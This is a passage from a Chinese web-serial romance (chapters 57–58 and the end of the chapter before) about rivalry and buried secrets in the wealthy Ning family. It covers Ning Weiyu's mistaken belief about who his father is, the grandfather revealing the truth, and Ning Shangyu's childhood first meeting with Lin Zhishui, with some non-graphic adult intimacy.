难怪宁惟羽自幼回归家族,虽对外宣称是二房嫡系诞下的孩子,因为出生时体弱多病被大师批命格,才秘密送出寄养在外数年,后来,也一直和明面上的父母不亲。 但是他在宁徽诏跟前的待遇,多年来都是仅次于宁商羽这个地位不可撼动的长房孙子。 甚至狼子野心到了惦记着谋权篡位地步。 如果真是宁琛启流落在外的儿子。 那他亲生母亲是谁? 这个,顷刻间也成了笼罩在气氛阴霾老宅的未解之谜。 无人解答,置身在私生子话题漩涡中心的宁惟羽拒绝了家庭医生处理伤口,驱车前往名下私产的酒店时,路上,给手机通讯录里的解语花发了条消息,便孤身来到。 而顶楼的总统套房内,她已经动作更快的先到一步,面朝烈日方向的暗红色窗帘紧紧地拉着,透不进半点光,显得气氛犹如置身在暗室。 宁惟羽迈步进来时,神色离奇镇静地反锁了门,这身深灰色西装浸染着血痕,待重重地一样扔向沙发上后,动作与往常犹如细尝珍馐的斯文风度形成鲜明对比。 他胸膛内的阴郁而暴戾情绪仿佛在这刻一涌而出,把人往床上压,衣不解带地直接开始。 近乎半个小时里,彼此从头到尾全无交流,就这般用原始的方式放纵地契合着。 纵然身体是相撞近了,但是宁惟羽感觉不到她心脏为自己跳动,继而,没有卸掉银色指环的手冰凉地,覆在了她柔软白嫩的颈侧,极具危险的锋利触感划过那青色动脉,“裴观若。” 他低语,“要轻一点吗?” 裴观若被过度撕裂而急促的呼吸陡然静了瞬,紧接着,一滴晶莹的汗珠从额头滑到了床垫里,仿佛很痛苦,又好似自愿献祭自己去包容他从骨髓深处透出的压抑又滚烫情绪。 黑暗是一个很好的庇护所,起码只能看到彼此模糊的轮廓。 过许久,宁惟羽脑海中所剩无几的理性逐渐回归,才缓下,去亲近她被汗浸到几乎快透明的脸颊,没有浮出红,只有重击之下变得微微煞白的肤色。 裴观若没有躲开,来时就猜测到了宁惟羽当下心结难解,于是便与他相贴,轻轻地,抬起手指温柔好几度沿着下颚线条摩挲到了带伤的眉骨处:“你怎么浑身都是伤,是发生了什么事吗?” 宁惟羽在此刻,也分不清纯粹是躯体依赖着这抹温暖,还是看不见的旧伤在裴观若这里得到了双重安抚,霎那,他犹如一头收敛锋利血腥爪牙的年轻雄狮,伏在她怀里,滚出喉咙的嗓音又沉又暗哑: “我被老爷子亲自领回来认祖归宗,踏入那扇深宅大门,第一个见到的人,是我亲生父亲,他正亲自带着宁商羽在种树苗。” 裴观若当初使出浑身解数接近他时,早已私下做过严密又周全的调查功课,知晓他似乎出身不祥,只是没有寻到蛛丝马迹的实际证据,被宁家抹去的太干净了。 如今听他提及,裴观若不露声色接腔:“宁商羽原来跟你们二房长辈……关系这么亲近?” 宁惟羽冷笑,“观若,我说的是亲生父亲。” 裴观若眼中露出了惊疑不定情绪,很快,本能地抱住他肌肉紧绷许久的背部,又说:“宁琛启是你父亲?可是,传闻他生前跟妻子白音珂是出了名的神仙眷侣,是不是弄错了?” “不可能弄错。”宁惟羽隐痛的躯体感觉到了来自裴观若的奉献感,继而,沉沉地说:“我从会说话起,母亲就教我念宁琛启的名字,后来日复一日教我写,她告诉我,长大后,要去找这个男人,叫宁琛启的男人会庇佑我一生。” 宁惟羽的童年是在地形崎岖的贫民窟度过,印象中的母亲温柔又美丽,总是会对着一块印有宁琛启照片的怀表掩面哭泣,那个怀表是金色的,雕刻着宁氏的古老族徽,表盘上面原有的昂贵宝石却早就被人用刀刃无情的撬走。 母亲在这个耗子四处啃食的残酷世界里无法生存,何况还有供养一个年幼的孩童,所以经常被压得不堪重负,身体也在短短几年就摧毁得不成人样了。 再后来。 母亲好像累了,选择沉眠在了那片冰天雪地的河里。 她留给宁惟羽的,除了一块怀表外,还有一封遗书。 她让宁惟羽日后见到宁琛启后,要真心敬重这个男人,把他当成父亲放心依赖,不要去恨她的死亡,也不要恨她抛弃了他,也不要恨…… 整张纸上写满了恨,却叫他不要恨。 宁惟羽被母亲教导着已经会识很多字,特别是宁琛启的名字……可后来,他沦为了在外流浪的孤儿。 直到他跟着一只流浪母猫在破败烂尾楼里住下,跟那群刚出生的小猫崽一样,窝在墙角,等着那只充满灵性的母猫从外面叼来食物填充饥肠辘辘的肚子。 宁惟羽守着那怀表和遗书,盼了许久,都没盼来“父亲”像个英雄降临拯救自己。 最后暴雨楼塌时,等来的是宁徽诏,充满温暖和蔼地牵住了他的手,敌过深秋的烈日,把他带回家族了。 宁徽诏给了他在宁氏堂堂正正立足的身份,又亲自教导他,可是宁惟羽始终没有忘记母亲说过的话。 “是我母亲一厢情愿付错了感情。”宁惟羽陷入黑暗里回忆着往事,整个状态却逐渐冷静得彷如是旁观者:“宁琛启已经在宁家娶妻生子,他的父爱只给宁商羽,半点都匀不出给我。” 裴观若很轻很轻回应他:“或许是上天给你的补偿,宁老爷子极其器重你,也给了你一切。” 提及这个,宁惟羽低垂眼皮,在暗光里凝视着拥有玲珑心肝的美丽女人,“我向老爷子要舟隆港口项目,被他拒绝了。” 裴观若手指无意识地顿了下,思绪也随着他的话迅速转了起来。 她跟宁惟羽之间是有契约的。 半年以内,裴观若表面上阳奉阴违在裴家假意是做了宁商羽的解语花,实际上,是跟宁惟羽暗中一拍即合的联手了。 她很清楚自己这副皮囊的价值性,也清楚哪怕如何傲慢的男人也抛不开七情六欲。 所以处心积虑地制造了初识场景时,宁惟羽第一眼见到她后,就想睡她。 裴观若也大方给了他睡的权利。 两人契约是在床上签下的,裴观若所求不多,她有能力,也有野心会里应外合的竭力配合宁惟羽谋取到宁氏极其看中的舟隆港口项目,故意从他这里,套现一点半真半假的内幕消息回裴家蒙骗过关。 如果按照计划施行成功,宁惟羽拿下这个项目为宁氏家族商业版图创造近年来最大的利益,且足以划分走宁商羽的一部分权力,与之继续分庭抗礼,各掌管半壁江山。 而她,也可以借着宁惟羽的势,带着母亲从裴家脱身,过上梦寐以求的自由人生。 或许林稚水得知真相后,会对她失望透顶,会不再动用她。 裴观若别无选择,她不想真的成为裴家提线木偶去出卖灵魂破坏林稚水的婚姻,只能绕过宁商羽,从宁氏众多子弟里,重新择一个最有狼子野心的。 现在宁惟羽拿不到这个项目话,一切都会付之东流。 裴观若柔韧的腰僵了许久,好在她伪装的本事修炼得炉火纯青,极短的时间内,又掩饰了起来,眼尾微挑的弧度透着妩媚:“一直待着,是想在里面这样好好睡一觉,还是换个地方来?” “我失败了,你还给上?” 宁惟羽眼底蔓延的血丝未褪,他所言的失败不是谎骗裴观若,当众失控之下自曝私生子身份,只是为了跟宁琛启扯上一点关系,而宁商羽又怎么会忍下这种报复性的耻辱,又有气病宁徽诏在先,种种罪行加在一起。 从今往后,家族核心圈恐怕是再也没有他这个私生子立足之地。 而裴观若对视着宁惟羽瞳仁里幽暗的亮光和血腥气息,仿佛伴随着黑暗一起淹过来,把她淋漓酣畅的从头到尾淹了个遍。 能不给又如何? 裴观若何止是不想给了,甚至是想扇他一巴掌。 这么好博取同情的凄惨孤儿出身,亲生母亲自尽换他回来认祖归宗,却没有得到过一天的父爱,也难怪宁徽诏想弥补他童年起就永久性留下的伤痛。 偏偏,为了一时报复的痛快,要拿来激怒位高权重的宁商羽? 裴观若身为私生女缘故,自幼学到的是示弱,以情制敌,如今宁惟羽已无利用价值,就当是打一场分道扬镳的炮好了,她心里这般想,嘴上却愈发的柔情似水说:“今日我们不谈利益,只谈这个……” 随即,那指尖也朝宁惟羽胸膛前松着两粒纽扣的带血衬衫内轻轻一点,仿佛有种温柔鲜活的力量缓缓地注入了心脏处: “请把你的疼痛,都转移给我。” “惟羽。” “惟羽……” 宁徽诏从头痛欲裂的昏迷中苏醒过来,嗓子眼异常嘶哑,浑浊的眼睛睁开后,便看向悬挂床帐的床边,什么都看不太清,像轮回了半生,感觉坐在椅子上的虚影,时而像长子宁琛启,又像宁琛启的长子……又像宁惟羽。 直到一盏昏黄的落地灯被倏地点亮,光线清晰沿着侧面勾描着宁商羽的俊美五官,也间接无形中衬得线条像是雕塑般锋利。 宁徽诏脑袋枕着,足足盯了四五秒,好似才认出人:“商羽啊,我昏迷了多久?” 宁商羽筋骨修长的手指端起搁在茶桌上的药汤,语调淡淡:“大半日,宁惟羽被我教训了一顿后,离开老宅如今未归,爷爷想见他么?” 宁徽诏却静了一会儿:“舟隆港口项目让给他吧。” “在宁家能者居上,没有把权与利益拱手让人的道理。”宁商羽冷漠神态透露出的疏离感很重,那双琥珀眼直视着宁徽诏:“这是十岁那年,爷爷当年亲口对我说的话。” 宁徽诏记忆很好,至今确实还记得,他在宁琛启意外遭遇空难去世后……动摇过想让患有性瘾这个罕见遗传基因的长房这一脉远离权势斗争,做个游手好闲的富贵公子哥。 所以,曾经有意为之什么都不教宁商羽,甚至在他从小不懂得收敛野心和锋芒,不甘于将来被他人主宰时,便说出了那句:能者居上。 室内气氛沉默片刻。 宁徽诏微微青白的脸色,对着自来态度强硬惯了的宁商羽,又说:“他向我索要舟隆港口项目作为补偿,商羽,整个宁家爷爷给你,项目给他……将来,你们兄弟怎么争斗,只要不伤及彼此性命,爷爷都不会过问。” 兄弟? 宁商羽神色不变:“他是宁琛启的私生子吗?” 宁徽诏继续默了几秒,低声:“如果你父亲在世,也会护他的,商羽,爷爷抱憾终身的事太多……宁惟羽姓宁,上了族谱,便这一辈子都是你兄弟。” 说到这,他眼底仿若有滚烫的泪意,转瞬又被暗色的光拂得几许模糊。 宁商羽不轻不重的把已经凉掉的汤碗放回原位,犹如他语调:“私生子原来在宁家待遇这么高?宁琛启死后都要拿来护他,您亲自教导他经商之道,如果当年不是来参加寿宴的林稚水懵懵懂懂助我一次,爷爷,我这个婚生子,倒远不如他高枕无忧。” 见宁商羽眉骨浮现出止不住的狠意转身离去,用一贯的傲慢态度,不欲多谈费时间。却把宁徽诏急到险些攻心:“商羽,你要做什么。” “把宁惟羽请回来。”宁商羽挺拔高大的身形停在山水图的屏风前,被光影无声衬托之下,犹如是丛林里摄人危险的最强猛兽,神色似笑非笑问:“打断腿,以后一辈子待在老宅陪您解闷,不好么?” “商羽!” 宁徽诏经一回鬼门关,仿佛精神力溃散千里,身躯已经变得十分苍老,停顿半晌,终于说:“他不是,不是宁琛启的私生子。” 第57章 宁徽诏靠在床头,看着站在暗光里的宁商羽,一段漫长的寂静后,他指向了北墙面乌木金丝楠雕龙柜子的抽屉,示意他过去。 抽屉锁着一层,宁商羽继而拿钥匙打开,里面终年不见天日的有两物,一份是出身证件被完善的存储在了密封袋里,另一份是块旧怀表。 他将怀表揿开,雕刻着族徽表盘上的时针已经损坏,停止在了深夜十二点一分。 “惟羽的亲生母亲,是在这个时辰,被我逐出家门。”宁徽诏回忆起当年,耳边仿佛还能听到那极其细微的指针滴答声,以及伴着那场暴雨的哭泣声。 那时段宜娉腹中还没有怀上孩子,不姓宁,随母姓段,自幼无名无分的养在长房名下,锦衣玉食的跟着宁琛启一起相伴长大。 而宁徽诏这一生有过三任妻子。 第一任是宁琛启的母亲,是他年轻时挚爱的原配,却因一场突如其来的疾病离世,早早阴阳两隔。 第二任是家族利益结合,没有感情,在生意场上的合作结束后,便彼此公开登报解除了婚姻关系。 也就是这时,他偶遇到了段宜娉的母亲,那个江南小巷里的卖花女,其容貌跟宁琛启早逝的母亲出奇相似,性格也像,声音更像。 宁徽诏没有把她带回老宅,而是私养在了外面另一处宅院里。 一年后,他再次为了家族利益要迎娶另一个门当户对的豪门闺秀,便等段宜娉出生后,把那个像极了宁琛启母亲的卖花女远远送走。 宁徽诏给足了当年被人人夸赞是贤良淑德典范的第三任妻子体面与敬重,并没有把私生女公然接回老宅认祖归宗,而是当侄女,暗中养在了长房。 也不知是不是被长房的水土精心供养缘故,段宜娉长大后,容貌举止竟更像宁琛启出身书香门第的母亲。 所以宁徽诏私下非常宠爱她,给她无数珠宝财富,让她无忧的居住在皇家宫殿般的巨大象牙塔里,甚至还为她择了门上好的婚事。 但是这一切段宜娉在无可救药的爱上了身份低微的男人后,都弃之了。 老宅外面暴雨,她的心也在雨里哭泣,披头散发的跪在地上求着:“爸爸,我没错,我只是想追求自己的爱情,我没有错……不,我错了,爸,你宽恕我一次。” 宁徽诏坐在主位,明亮的灯光衬出了他面容神色毫无往日对她的温情慈爱,反而近乎冷漠威仪至极。 段宜娉泪流不止:“我不是故意,那一刀,我是冲郑宸大腿去的,我不知道,为什么刺中的是他……” “郑宸是你名义上的未婚夫,也是郑家唯一独子。”宁徽诏话语中的威严和失望,压了下来:“你跟人私奔,先是不顾郑家颜面,又让郑家断子绝孙,我怎么宽恕你?” 段宜娉膝盖久久僵直跪着,身子却瑟瑟发抖的冷得厉害,想像小时候,去抱住宁徽诏的裤脚,又心生胆怯了起来。 气氛逐渐凝固,外边雨声泼着,仿佛要泼碎这漆黑寒冷的夜。 直到宁琛启高大身影出现,将黑色呢子大衣递给紧跟其后的秘书,让他们在门外候着,继而,缓步走到了灯火通明的大堂前,将满身狼狈的段宜娉扶起来,“好了,跟父亲认了错,回房去好好睡一觉。” 段宜娉看到他,眼泪刷刷地掉:“大哥。” 宁徽诏沉声问:“郑家如今什么局势?” “郑宸性命无碍,难有子嗣。”宁琛启今晚正是从郑家归来,敛着沉静眉目说:“事已发生,郑家不要宁氏给予的补偿,要宜娉履行婚约,风风光光嫁过去。” 段宜娉呆住。 而宁徽诏若有所思道:“如果不结亲,日后就结仇了,这事本来是我们宁家不占理,再怎么也不该断人子孙后代……” 郑宸如今身躯残破,将来更别想迎娶到门当户对的世家千金。 郑家还要段宜娉嫁,明面上,确实是上上之策。 但是段宜娉始终不愿嫁,发白的手指紧紧抓住宁琛启的西装,不停地抖:“大哥,我不爱他,我……我另有所爱,我真嫁给郑宸就真的一生都不得自由了,我会被困死在冷冰冰的郑家,我不想当一个摆在家里的死物,我会死的。” 这番寻死腻活的话,无疑是惹得坐在主位的宁徽诏震怒:“你为了一个外面的无名之辈不嫁,宁家也留不得你。” 段宜娉绝不嫁:“我情愿不当宁家女儿,也不会嫁给一个不爱的人。” 宁徽诏气极反笑:“好啊。” 他将茶桌旁的怀表砸向在了段宜娉脚边,玻璃碎片溅了一地,就像是父女多年感情,表盘上断裂的时针永远停止在了凌晨十二点一分。 宁徽诏把段宜娉逐出了家门。 外面的雨昏天黑地下得极大,宁琛启亲自送她出门,安排了连夜远走高飞的车辆和在外安身养命的一份巨额钱财。他身影高大挺拔,犹如风雨中不可撼动的树,略略沉默了一会说:“今夜一别,我们兄妹缘分已尽,宜娉,宁家放你自由,也需要给郑家一个表态。” 从今往后,宁家乃至长房一脉都不会再庇佑她了。 段宜娉眼泪涌上来,紧紧抓住宁琛启冰冷的衣角:“我知道,大哥身为家族掌权人,对我已经够厚待了,是我的错,能不能留一物给我,日后作为怀念……” 宁琛启从西装内衬摸出红宝石的族徽怀表,他这一辈的,只要是宁氏子弟,都效仿宁徽诏,有随身携带此物的习惯。 段宜娉接了过来,手心收拢好。 她会把大哥的照片镶在这怀表里,日夜不离身,就当续了兄妹情谊。 随后,车门被宁琛启伸手关上,段宜娉依旧流着泪坐在车厢内,孤注一掷的抛弃身份,选择了那个让她人生输得一败涂地的挚爱男人,直到透过车玻璃再也看不到雨幕中那座生活了二十年的老宅,头顶上的黑天,久久都没有亮的征兆。 回忆渐止。 宁徽诏浑浊的双眼有泪:“宜娉拿着你父亲给予的钱财,跟那男人私奔到了一个风景很好的小城市生活,一开始她婚姻还算幸福,后来等怀上惟羽后,那男人就开始暴露本性,不仅把钱全部拿去做投资赔得血本无归,还动手虐待她……” 段宜娉整个孕期经常被打得浑身遍体鳞伤,却始终不愿回宁家寻求帮助,等宁惟羽出生后,突然对着电视机学,开口叫了一声爸爸。 段宜娉突然意识到,不能让儿子跟这个陷入赌鬼思维一样的男人扯上关系了。 她不让幼小的宁惟羽学叫爸爸,疯狂的想要彻底抹杀这个身份的存在,于是她于某个暴雨夜里,带着熟睡的孩子逃了。 “你姑姑没有身份证,孩子是黑户……我又狠了心要彻底放逐她,下达命令不许家族的成员私下接济她。” 宁徽诏的一滴泪无声沿着鬓角的白发落在枕头,他对始终面无表情的宁商羽揭露出当年一切:“等她沉河的死讯传到宁家,一切都为时已晚,惟羽也流浪在外很久,爷爷找到人时,他正衣不果腹,在破败的烂尾楼里跟一群野猫抢食。” 宁氏子孙哪个不是在襁褓时就被锦衣玉食供着。 何时沦为这种衣衫褴褛的屈辱境地? 这幕简直是诛心,宁徽诏愧对女儿,当年不该逼她嫁到郑家,一切罪孽的根源都是他当初让两家联姻的决策引起。 “商羽,爷爷亏欠惟羽的母亲一条命。” “这么多年,宁惟羽以二房嫡出名义上了族谱,他认为自己是我父亲在外的私生子。”宁商羽没有再拆这份密封袋里的身世证件,已无意义,淡声问:“当年为什么不把他像段宜娉一样,直接养在长房一脉。” “你母亲不同意。”宁徽诏停了会,才道:“他过继给你父亲,名义上,都是宁氏掌权人的儿子,跟你将会同享继承权。” 有白音珂从中阻拦,甚至宁琛启在家族里都没有特殊关怀过宁惟羽,只把他当一视同仁的小辈对待,岂料,还是阴差阳错之下,让宁惟羽暗中误会了自己身世。 宁徽诏以为他小,不记事了,又用大师批命格的借口堵住了悠悠之口。 况且,知晓当年真相者,都被他明文禁令过。 直到宁惟羽问他要收购舟隆港口的项目时,终于满怀不甘怨恨的质问了出来。 “这项目,给他。”宁徽诏盯着宁商羽,喉咙咽下涌上来的苦涩,“爷爷寿终正寝前,不愿看到你们兄弟反目成仇,商羽,当爷爷求你。” 宁徽诏老了。 宁商羽看着他年迈的身躯像枯树一般卧床瘫着,这个在商界近半世纪中雄霸一方的家族首领,最终没有抵得过岁月的无情侵蚀,逐渐暴露出了脆弱一面。 片刻后。 宁商羽将手中密封袋纹丝未动的放在床沿,昏暗的光从他俯身的几秒动作间,沿着俊美锋利的眉骨和高挺鼻梁处勾描而过,轮廓尽是淡而冷漠的。 他未置一词,转身彻底离开了这间卧室。 …… 宁商羽走到平时仪事的大堂庭院,夜色已暗,远远的,便看到林稚水安安静静坐在大理石台阶里,悬挂在上方的灯笼暖光透明,浸透了她纯粹又极美的身影。 而这副身体,好似还一直存储着三岁时的灵魂。 唯有宁商羽看得到。 林稚水已经忘记了,她年幼时第一次被林家破格出远门,是因宁徽诏风光大办寿宴,管家在整理宾客邀请函时,发现宁琛启在世前,曾吩咐人把港区林家也纳入宁氏日后宴请的名单里,于是,就顺手也寄了一份过去。 盛明璎家族公务繁忙脱不开身,林曦光为了哄突然出现视力障碍的妹妹心情,便偷偷拿着邀请函,带她千里迢迢来宁家玩了。 而林曦光一到宁家,就被秦晚策以有世家的女性长辈要见她的名义给牵绊住了手脚,她不准备带妹妹去,免得那些贵妇故意问及眼睛。 便把妹妹好生安放在环境幽静的偏厅,请一位管家看照。 林稚水年纪小又无法视物,在陌生的环境下难免忐忑不安,不消片刻,就颤颤的点着导盲杖,去找姐姐了。 这一找就把自己找迷路了,竖起白白嫩嫩的耳朵辨声,循着从前方传来的隐约说话动静,心里揣着茫然又懵懂地摸索了过去。 很快,她小身影来到了攀附出洁白玉兰树枝的墙壁边,听到了有个嗓音略沉的男人在严厉教诲着另一位小哥哥。 林稚水不懂什么叫“能者居上。” 但是她旁听了会儿,听出了小哥哥只是想学习,想拥有一位老师。 这么小小一个愿望都被无情拒绝,林稚水心想,那小哥哥声音真好听,却让他当文盲,真是做得过分了。 她微微感到错愕,同时没忘记找姐姐,就没继续听墙角。 林稚水走了。 她举着导盲杖很不幸的迷路在了半道上,路过之人看到她是从长房那边庭院拐出来的,便很热心肠的,把她原路又送了回去。 恰好正值年龄十岁的宁商羽刚刚遭到宁徽诏严苛拒绝完了,寿宴上要见客的衣服也没换,独坐在室内的椅子上,鎏金水晶灯将他少年的精致皮相映得轮廓清晰,表情是一如既往地冷着,锋利的眼尾半垂,愈发显得生人勿近。 这时,有人走了进来:“商少爷,这个小女孩迷路了,你认识她是哪家的吗?” 宁商羽抬去那双清冽的琥珀眼,直直地,朝门口落了过去。 林稚水很坚强不要人牵,握着导盲杖慢悠悠的跨进了长房庭院的这道门,小小的一只,像个精致洋娃娃,穿着公主裙,脖子处用丝缎系着蝴蝶结。 她人小步子也小,走了好久才走到宁商羽的身前,再停住。 那双被命运暂时封锁住视觉的大眼睛呈着世间最天然没有被污染的琉璃色,犹如镜面,倒映着他,“我叫林稚水,林间稚水的稚水……小哥哥,你叫什么名字?” 宁商羽盯着她,浓密睫毛压着情绪:“宁商羽。” “宁伤鱼。”林稚水白里透粉的小脸蛋露出笑:“我记住你了。” 第58章 宁商羽生起高阁,又天生一副傲慢锋芒的脾性,哪怕七岁那年突然失去了宁琛启的庇佑,但他姿态永远都是高高在上的,但凡有同族兄弟敢挑衅他,便浑身充满攻击性的直接动手,收拾到对方俯首求饶为止。 久而久之,就无人敢主动往上贴,更别说给他取外号了。 不过宁商羽还处于野心勃勃生长的年少期,偶尔,深夜时这副身躯的骨骼也会感到孤独,他不会跟任何人透露内心想法,自己学会克制着与之抗衡。 也只有次数极少时,才会拿出宁琛启为自己每年生日备下的儿童绘本,反复念给自己听。 看到林稚水的第一眼。 宁商羽低垂的琥珀色眼眸先注意到了她脖子上系着的蝴蝶结。 这时候,他认为她很像是生日时才能收到的那种置于高级礼盒里的洋娃娃,模样无辜又带着怜悯感,一露出盈盈笑容,仿佛能敌的过满室的璀璨水晶灯光,把他周围一片都照亮了。 于是宁商羽看了好一会儿,也原谅了她口齿不清的冒犯称呼。 这时,老管家亲自前来提醒寿宴即将开始,宁商羽身为嫡亲孙子,自然也是必须得出席。 林稚水像得了勇气,仰着脑袋,对近在咫尺的小哥哥,是在亲昵的撒娇:“伤……伤鱼哥哥,你抱我,去找姐姐。” 她眼不能视物。 想要抱,怕举着导盲杖,腿又短,跟不上。 宁商羽那张五官清晰而精致的脸上虽没有表情,倒是变得罕见的有耐心,继而,真把身前这个眼盲的小洋娃娃抱了起来,往外走。 林稚水睫毛尖儿微眨了下,又眨了下:“伤鱼哥哥,你真是个大好人。” “这是什么好词吗?”宁商羽冷漠地拒绝了她幼稚的夸赞。 “唔,那哥哥你认为什么是好词?”林稚水细白的小手软乎乎地搂着他脖子,耳语问,脾气好到也不感到生气。 宁商羽往远处的回廊走,傲慢得很:“从这一秒开始,你就是我的了,只准听我的命令,我说什么是什么,不得阳奉阴违忤逆我。” “啊……”林稚水琉璃眼睁得大了,却只能看到他五官模糊的影子,奶声奶气说:“我还要听妈妈姐姐阿泱阿琴阿瞒的话,不能只听你的。” 宁商羽艰难相处似的,那股极为短暂施舍出去的善意讯号,顷刻间又收回,把自幼就霸道的一面淋漓尽致展现了出来,“我会让你听我的。” 林稚水太小了,不懂这句话,未来意味着什么。 回廊的冷风骤急,她眼下只知道往宁商羽的怀里钻着,仿佛弱小生命的柔软动物,自动嗅觉灵敏寻找到了一个更强大的年幼狮子保护。 等来到专门宴请宾客的灯火辉煌厅堂,从大门进,里面一片西装革履的英俊男士,单挑个出来,身份都是极贵,正低声笑着跟小辈们在玩个小游戏。 起因是有人借诗透露出野心,提及,想拜师容氏家族之主的容九旒。 然后犹如掀起不可预知的风浪,在这场各大家族的顶级名利场寿宴里,谁都想出风头争一争,成为那个能承蒙容九旒亲自教导经商之道的胜出者。 小辈都想争,又不好在宁徽诏寿宴上闹出什么,有位家主言笑晏晏的提了个无伤大雅的抽签方式,赌的便是运气。 一古董罐子的白玉珠,上百颗,唯有一个琥珀色的,谁拿到,拜师名额就是谁的。 恰好这时宁商羽迈进门,他是长房又是嫡孙,在家中地位高,即便宁琛启意外去世,让宁徽诏私下动了不再择选患有性瘾这个罕见遗传基因的长房一脉成为家族实权者心思。 但明面上,宁徽诏是极看重宁商羽的,终归跟其他亲孙不同。 他一现身,便有人笑谈:“商羽也来了,不如你来开个好兆头?” 在场的小辈在面对位高权重的掌权人们只有做小伏低,规矩立着答话的份,可能偶尔才会从眼神里泄露出一丝丝对权力的野心。 宁商羽显露在眉目里的锋芒过于明显,说:“你们玩吧。” 他拒绝了。 但是怀里的小洋娃娃微微歪着头听了一耳朵,敏感的捕捉到了关键信息,挑到琥珀色的玉珠,就能被赠予一个老师。 继而,她就把小手举了起来:“我来我来,我替哥哥来。” 喧闹的四下静了瞬,惹得皆是天之骄子般的大人物们频频注目过来,似乎对这个小人儿颇觉得新奇。 在座的,谢家之主谢阑深也有一女,对林稚水很合眼缘,见怀里还抱着导盲杖,神色转为温和,伸出右臂,“到我这来。” 林稚水大眼睛看不太清楚,厅堂又亮,就衬得她的世界白茫茫一片了。 而宁商羽很霸道,走过去给谢阑深近距离看一眼而已,继而,像是炫耀自己的洋娃娃一样,轻松地举起几秒,又抱回了怀里。 谢阑深身旁另一位风姿矜贵的家主调侃:“从小就这么霸道,日后可还了得。” 宁商羽板着脸色,再有人想看,就不给了。 “让她挑一个。”谢阑深最终发话,气势已掠过众人。 在场小辈就属林稚水最小,她先来,也算公平,毕竟没有人觉得一个小小年纪,又眼盲,什么都不懂的小孩儿能懂什么。 无非就是听到有白玉珠子,也想讨要个玩。 岂料,她那玉琢似的小手伸到宽大圆形的古董罐里,认真摸索了会儿,真叫她把那颗耀眼如火焰的琥珀珠给摸出来了。 林稚水看不见色,就举到宁商羽的眼前,用纯真又稚气的声音问:“是这个吗?” 宁商羽刻入骨髓的克制习惯使他年幼起就懂在大庭广众的场合下,要始终保持着身为宁氏子孙该有的自持冷静。 可这刻,他倏然盯着怀里的林稚水,胸膛内的心脏仿佛被一道比这颗珠子折射出的,那种不知名的耀眼和滚烫的光芒抚摸过。 宁徽诏想废了他继承权。 想让他在家族不涉及权谋斗争里,只做个身份金贵的清闲公子哥……又顾及祖孙亲情,于是一边锦衣玉食的养着他,让老宅上下都以他处处为先,又一边有意为之不教导他经商之道,不再对他有任何苛刻残酷的要求。 宁徽诏的慈爱背后,是无情剥夺了他天生对权力欲的渴望和资格。 宁商羽像新生树木一样野心勃勃,幼年教育就没有服输这个字,即便知道处境艰难,不再享有平等权,也做好了独自去面对的准备。 而林稚水的出现,就像是命运馈赠给他的一份无上奖赏。 这颗琥珀珠,猝不及防地空降将他争权夺位的阴暗血腥人生轨迹撞击到了另一种可能性…… 厅堂内的众人都沉默下去。 直到端坐在椅子上始终没有出言的容九旒站起了身,他穿着一身熨帖合身的暗色西装,逐步走到了这位表现出骄矜和疏离感的小少年身前。 他戴着金丝边眼镜下的眉目深邃,不动声色打量了迎着他视线不动的宁商羽半响,嘴角的淡笑弧度反倒敛住了,却说:“看来,你我之间注定有一段师徒缘分。” “是呀伯伯。”林稚水从洞察到周围微妙的气氛,就极敏感地意识到她替小哥哥找到老师了,睁着好似有朦胧淡雾的琉璃眼睛,又大又灵,讨人喜欢极了,将小手的那枚“拜师礼”塞到了容九旒手掌心:“请您务必当一位好老师。” …… 宁商羽师承容九旒整整十年。 年少的他迎着烈日生机勃勃的快速成长,修长清瘦的身形也变得高大宽阔起来,从简单干净的学生制服变成了一身线条锋利黑色西装,骨骼已经勒出最完美标准的形状。 他学有所成,手段比容九旒更加强硬激进,进入家族核心圈后,便亲手策划了一场内部腥风血雨的权力肃清戏码,非常高调地站在了俯瞰众人的最高峰那个位置,成了实际最高统治者。 在这个岁月里,宁商羽已经没有在深夜读那些儿童绘本,他很清楚,漫长孤寂的人生里,宁琛启和白音珂终究会随着时间流逝变成很小的一部分。 而从十岁这年开始,宁商羽选择把林稚水看成一本永远读不尽的儿童绘本。 她是纯粹美好的,是鲜活的,像是一直在玻璃盒内的小人儿,身处于最干净没有污染的世界里,小心翼翼的存活着。 宁商羽则是时常像是斗争厮杀获胜的丛林野生猛兽,在疏懒休憩的状态时,便会静静蛰伏在玻璃外,半眯着那双鎏金色的眼瞳,无所顾忌地享受这种隔空的短暂陪伴。 现在生活在玻璃内的林稚水长大了,也一步步走进了他的世界。 “宁商羽。” 那道清澈如水的声音不再口齿不清叫错名字,像越过他的回忆,将他现实胸膛内的心脏抓住了。 宁商羽重新看向已经从大理石台阶走过来的林稚水,距离由远及近,映着月光,她仰着脸蛋,故意露出坚决又脆弱的表情:“我们什么时候回家?一整天了……老宅不好玩。” 宁商羽久未开口,定定看了她很长时间,才放缓了语调:“现在。” 林稚水心思敏感又通透,早在他现身在浓郁夜色里,视线存在感极其强烈的盯着自己失神时,就莫约猜到这祖孙二人的谈话多半不是很融洽。 回到那片落羽杉的主卧,又跟往常似的一起在浴缸泡了个澡,同享着沐浴露香味,裹着同款睡袍和一样质地的丝绸料子,躺在了大床上。 灯全暗了,宁商羽翻身压过她,血液开始流淌,从开始的沉静到了逐渐变得汹涌,那双低垂的琥珀眼眸压抑着什么,偶尔,会顺着高挺的鼻梁蔓延到她心口。 “商羽。”林稚水抬起雪白手腕,倒没感觉到很痛,他像是想寻求一个温暖的地方待着,然而,没有全部进来,也引得她颤巍巍的眼尾酸涩了起来。 那指尖轻轻地把他凌乱的漆黑短发向后拢,完整地露出眉眼,清晰地感知着,有种贪婪正在溢出。 但是没关系,她都会盛住,主动仰起脑袋,唇往上印了一下:“无论老爷子在你和宁惟羽之间做出什么选择,我会永远永远选择你。” 宁商羽很久才从喉咙滚出“嗯”的一声,在真丝被褥因为动作,悄然无声地滑下时,露出的背部线条流畅而有力,猛地,力量感强烈地顶到了最柔软,又润的地方。 之后,他就伏在了她身上,压抑着不平稳的气息,在贪恋着她的美妙。 夜色渐深,整个世界只剩两人的心跳声,就这般过了许久。 宁商羽幽暗的眼神重新注视起了乌黑发丝散在枕头上,额头沾着细密汗珠的林稚水,俯首逼近,虽依然透着锋芒狂张的压迫气息,却没有伤及她一分的意图。 林稚水慢了几秒才意识到,宁商羽在吻自己,那种极致亲昵的吻法,用来安抚他暴躁的魂魄一样,从很深重地往里顶,到逐渐地磨过她嫩嫩的唇角,说:“回家了。” 回家了。 